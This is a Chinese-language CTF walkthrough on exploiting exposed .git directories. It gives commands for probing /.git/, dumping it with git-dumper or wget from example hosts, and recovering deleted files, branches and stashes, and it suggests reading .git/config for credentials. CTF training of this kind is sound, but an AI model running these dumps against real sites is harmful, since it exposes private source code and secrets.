CTF中Git源代碼泄露題目解題方法
- 1. 確認存在.git目錄泄露
- 2. 下載完整的.git目錄
- 3. 恢復Git倉庫歷史
- 4. 查找Flag的常見位置
- 5. 處理不完整的.git目錄
- 6. 其他技巧
- 示例流程
在CTF中遇到Git源代碼泄露題目時,通常可以通過以下步驟解決:
1. 確認存在.git目錄泄露
- 訪問目標URL的
/.git/
路徑(如http://example.com/.git/
),觀察返回狀態:- 403 Forbidden:可能存在目錄,但無權限訪問。
- 404 Not Found:目錄不存在。
- 使用工具掃描目錄(如
dirsearch
)確認是否存在.git
。
2. 下載完整的.git目錄
- 工具推薦:
- git-dumper(推薦):
pip install git-dumper git-dumper http://example.com/.git/ ./output
- wget(手動下載):
wget -r --no-parent http://example.com/.git/
- git-dumper(推薦):
3. 恢復Git倉庫歷史
- 進入下載的目錄,使用Git命令分析:
cd ./output git status # 查看未提交的更改 git log # 查看提交歷史 git reflog # 查看所有操作記錄(包括reset、rebase) git branch -a # 查看所有分支
4. 查找Flag的常見位置
-
歷史提交中的敏感信息:
- 檢查刪除或修改的文件:
git log --diff-filter=D --summary # 查找被刪除的文件 git checkout <commit_hash>^ -- deleted_file.txt # 恢復被刪除的文件
- 對比不同提交的差異:
git diff <commit_hash_1> <commit_hash_2>
- 檢查刪除或修改的文件:
-
分支或標簽中的未合并內容:
git checkout feature-branch # 切換到其他分支 git tag -l # 查看所有標簽
-
暫存區或工作區內容:
git stash list # 查看暫存記錄 git stash apply # 恢復最近的暫存內容
-
Git對象文件(手動解析):
git cat-file -p <object_hash> # 查看對象內容(如commit、tree、blob)
5. 處理不完整的.git目錄
- 若倉庫不完整,使用工具修復:
- git fsck:檢查對象完整性。
- scrabble:提取所有Git對象中的文件。
scrabble -i .git/objects/ -o extracted_files/
6. 其他技巧
- 檢查.git/config:可能含敏感信息(如遠程倉庫密碼)。
- 搜索所有文件內容:
grep -rnw . -e "flag{"
示例流程
# 下載.git目錄
git-dumper http://ctf.example.com/.git/ ./leaked_repo# 分析提交歷史
cd leaked_repo
git log --oneline# 恢復被刪除的flag文件
git checkout abc123^ -- flag.txt# 或切換到其他分支
git checkout dev-branch
通過以上步驟,通常可以找到隱藏在Git歷史記錄、分支或對象中的flag。注意仔細檢查所有可能的位置,包括被刪除或未提交的內容。